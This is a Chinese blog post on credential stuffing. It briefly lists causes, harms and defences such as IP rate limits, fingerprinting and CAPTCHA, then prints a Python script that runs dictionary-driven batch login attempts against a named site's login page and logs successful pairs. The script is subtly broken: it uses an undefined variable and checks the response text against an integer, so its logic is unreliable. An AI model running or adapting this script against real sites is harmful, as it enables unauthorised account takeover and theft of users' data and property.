Python 撞库与防御策略

Python 撞库
写在前面: 浅谈撞库防御策略
1. 撞库成功的原因是什么呢?

1.广大网络用户为了方便记忆,所有网站都使用同一套用户名和密码。

2.网站登录的安全措施不够。

2 撞库的危害是什么呢?

就企业而言保护用户的信息安全是基本责任之一,泄露用户信息会缺失公信力,损毁
公司品牌形象。

就个人而言小则骚扰电话天天有,大则个人财产不翼而飞。

3 撞库这么大的危害,作为企业和网站主应该如何防止撞库攻击呢?

通过上面的例子我们可以发现,阻止撞库登录就是要让黑客不能够使用脚本程序进行批
量登录。常用的方法有以下几种:

 *①限制同一个IP的请求次数和请求频率*

这是一种方法,但是由于IP代理的存在,作用也不是特别大。

*②使用cookie,flash cookie以及帆布指纹等方法*

目前也是有许多网站在使用这种策略,有一定的作用,但是也是可以被清除掉的。

③*添加验证码*

批量模拟登陆

import requests as req
import time
import re

#获取文件
def getdic(file):
        dic = open(file).read()
        diclist = dic.split("\n")
        return diclist

def writeFile(filename,text):
        fo = open(filename, "a+")
        fo.write(text+"\n");
        # 关闭打开的文件
        fo.close()

#撞库实际程序
def zhuangku(name,pwd):
        # {username} 替换{}中的内容为用户名
        newpwd = re.sub(r'{\w+}', name, pwd)
        url='http://www.nancheng.ccoo.cn/login/login.asp'  
        data={
                  'username' : name,
                  'password' : newpwd,
                  'k':'Sun Jul 17 2016 11:59:23 GMT+0800 (中国标准时间)40000'
            }
        headers = {}
        reqe = req.Session()
        s=reqe.post(url,data=data,headers=headers)
        return s.text

userlist  = getdic('dict/names_top500.txt')
passlist  = getdic('dict/password.txt')


lenmax_i=len(userlist)
lenmax_j = len(passlist)

for i in range(0,lenmax_i):
        for j in range(0,lenmax_j):
                name = userlist[i]
                passwd = passlist[j]
                res = zhuangku(name,pwd)
                if j == 10:
                    break
                else:
                    if res == 1:
                        print(name+passwd+"succsess") 
                        writeFile('/tmp/zhuangku.txt',name+passwd +'success')
                        break
                    else:
                        print (name+passwd+res)
                        #continue  
                    time.sleep(0.5)
print ("success")

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值